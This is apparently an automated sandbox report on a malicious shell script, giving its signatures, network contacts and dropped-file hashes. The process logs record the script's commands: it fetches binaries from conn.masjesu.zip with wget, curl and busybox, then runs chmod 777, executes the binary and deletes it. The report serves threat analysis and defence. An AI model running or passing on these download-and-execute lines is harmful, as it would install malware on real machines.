Analysis Overview
SHA256
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c
Threat Level: Shows suspicious behavior
The file dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Reads runtime system information
Writes file to tmp directory
System Network Configuration Discovery
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 03:03
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 03:03
Reported
2024-11-25 03:06
Platform
ubuntu1804-amd64-20240611-en
Max time kernel
149s
Max time network
131s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
[/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 151.101.193.91:443 | tcp | |
| GB | 89.187.167.4:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| GB | 185.125.188.62:443 | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 03:03
Reported
2024-11-25 03:06
Platform
debian9-armhf-20240611-en
Max time kernel
149s
Max time network
28s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
[/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 03:03
Reported
2024-11-25 03:06
Platform
debian9-mipsbe-20240729-en
Max time kernel
137s
Max time network
146s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT | /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM | /usr/bin/curl | N/A |
| File opened for modification | /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT | /usr/bin/curl | N/A |
Processes
/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
[/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/bin/chmod
[chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
[./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/bin/rm
[rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 03:03
Reported
2024-11-25 03:06
Platform
debian9-mipsel-20240226-en
Max time kernel
150s
Max time network
99s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
[/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |